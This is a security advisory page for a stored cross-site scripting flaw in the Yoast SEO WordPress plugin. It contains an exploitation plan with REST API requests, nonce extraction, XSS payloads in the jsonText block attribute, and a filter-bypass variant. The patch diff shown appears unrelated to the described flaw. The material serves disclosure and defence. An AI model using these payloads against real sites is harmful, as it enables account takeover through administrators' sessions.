Yoast SEO <= 27.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'jsonText' Block Attribute
Description
The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `jsonText` block attribute in all versions up to, and including, 27.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=27.1.1What Changed in the Fix
Changes introduced in v27.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3427 (Yoast SEO Stored XSS) ## 1. Vulnerability Summary **CVE-2026-3427** is a stored cross-site scripting (XSS) vulnerability in the **Yoast SEO** plugin (versions <= 27.1.1). The vulnerability exists because the plugin fails to sanitize or escape the `jsonTe…
Show full research plan
Exploitation Research Plan: CVE-2026-3427 (Yoast SEO Stored XSS)
1. Vulnerability Summary
CVE-2026-3427 is a stored cross-site scripting (XSS) vulnerability in the Yoast SEO plugin (versions <= 27.1.1). The vulnerability exists because the plugin fails to sanitize or escape the jsonText attribute within its custom Gutenberg blocks (specifically the FAQ and How-to blocks) before rendering it.
Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript into this attribute. Since Contributors can save drafts that are subsequently viewed by Editors or Administrators (e.g., during the review process), this can lead to a full site takeover if an administrative user triggers the payload.
2. Attack Vector Analysis
- Vulnerable Attribute:
jsonText(within block metadata). - Vulnerable Blocks:
yoast/faq-blockandyoast/how-to-block(inferred). - Endpoint: WordPress REST API Post update endpoint:
POST /wp-json/wp/v2/posts/{id}. - Payload Parameter:
content(containing Gutenberg block comments). - Authentication: Contributor+ (Authenticated).
- Preconditions: The Yoast SEO plugin must be active, and the attacker must have permission to create or edit posts.
3. Code Flow
- Input: A Contributor sends a
POSTrequest to the REST API to update a post. Thecontentfield contains a Yoast block defined by Gutenberg comments:<!-- wp:yoast/faq-block {"jsonText":"<script>...</script>"} /-->. - Storage: WordPress saves the raw block markup into the
post_contentcolumn of thewp_poststable. - Processing: When the post is rendered (either on the frontend or in the Block Editor), Yoast SEO's server-side rendering logic or client-side editor logic retrieves the
jsonTextattribute. - Sink: The plugin outputs the value of
jsonTextdirectly into the page without calling escaping functions likeesc_attr(),esc_html(), orwp_kses().
4. Nonce Acquisition Strategy
To interact with the REST API as a Contributor, a _wpnonce for the wp_rest action is required.
- Login: Authenticate as a Contributor user.
- Navigation: Navigate to the "Add New Post" page:
/wp-admin/post-new.php. - Extraction: The REST nonce is typically localized in the
wpApiSettingsJavaScript object.- JS Variable:
window.wpApiSettings.nonce
- JS Variable:
- Action:
// Use browser_eval to get the nonce const restNonce = await browser_eval("window.wpApiSettings.nonce");
5. Exploitation Strategy
The goal is to update a post's content with a malicious Yoast block.
Step 1: Create a Draft Post
Create a post to obtain a valid Post ID.
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
X-WP-Nonce: [REST_NONCE]Content-Type: application/json
- Body:
{"title": "XSS Test", "status": "draft"}
Step 2: Inject Payload into the jsonText Attribute
Update the post with the malicious block. We will target the yoast/faq-block.
- Method:
POST - URL:
/wp-json/wp/v2/posts/[POST_ID] - Headers:
X-WP-Nonce: [REST_NONCE]Content-Type: application/json
- Body:
{ "content": "<!-- wp:yoast/faq-block {\"jsonText\":\"<img src=x onerror=alert(document.domain)>\"} /-->" }
Step 3: Trigger Execution
- Frontend: Navigate to the post URL (if published) or use the Preview link.
- Backend: Navigate to the Post Editor for that ID as an Admin:
/wp-admin/post.php?post=[POST_ID]&action=edit.
6. Test Data Setup
- Plugin: Install and activate Yoast SEO version 27.1.1.
- User: Create a user with the
contributorrole. - Post: Create at least one draft post as the contributor.
7. Expected Results
- The REST API should return a
200 OKor201 Createdstatus code. - The
post_contentin the database will contain the literal string:{"jsonText":"<img src=x onerror=alert(document.domain)>"}. - When an Admin edits the post, an alert box showing the domain name will appear, confirming XSS in the editor context.
8. Verification Steps
After performing the HTTP request, verify the storage via WP-CLI:
# Check if the content was saved correctly
wp post get [POST_ID] --field=post_content
# Verify the metadata (if Yoast stores structured data in meta as well)
wp post meta list [POST_ID]
9. Alternative Approaches
If yoast/faq-block does not yield immediate results, attempt the payload with the yoast/how-to-block:
Payload Variation:
<!-- wp:yoast/how-to-block {"jsonText":"<script>alert('HowTo-XSS')</script>"} /-->
Alternative REST Parameters:
Sometimes Gutenberg blocks require attributes to be explicitly set in the block's attributes object if the REST API controller supports it, though standard post content injection is the most common vector for Contributor-level XSS.
Bypass check:
If the script is blocked by a basic filter, try attribute-based injection within the JSON:"jsonText":"{\"@type\":\"Question\",\"name\":\"<img src=x onerror=alert(1)>\"}"
Summary
The Yoast SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'jsonText' attribute in its custom FAQ and How-to Gutenberg blocks. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into this attribute, which then executes in the browser of any user (including administrators) who views or edits the affected post.
Security Fix
@@ -237,7 +237,9 @@ case 'wpseo_keywordsynonyms': if ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) { // The data is stringified JSON. Use `json_decode` and `json_encode` around the sanitation. - $input = json_decode( $meta_data[ $key ], true ); + $input = json_decode( $meta_data[ $key ], true ); + // If something is wrong with the JSON make sure this cannot break. + $input ??= []; $sanitized = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $input ); $clean[ $key ] = WPSEO_Utils::format_json_encode( $sanitized ); }
Exploit Outline
The exploit targets the 'jsonText' attribute of Yoast SEO's Gutenberg blocks via the WordPress REST API. An attacker follows these steps: 1. Authenticate as a Contributor. 2. Obtain a valid REST API nonce (usually from window.wpApiSettings.nonce). 3. Send a POST request to /wp-json/wp/v2/posts/ to create or update a post. 4. In the post content, include a Yoast FAQ block comment containing a malicious payload in the 'jsonText' attribute, such as: <!-- wp:yoast/faq-block {"jsonText":"<img src=x onerror=alert(1)>"} /-->. 5. The vulnerability triggers when an editor or administrator opens the post in the Block Editor or views the rendered page, leading to script execution in the context of their session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.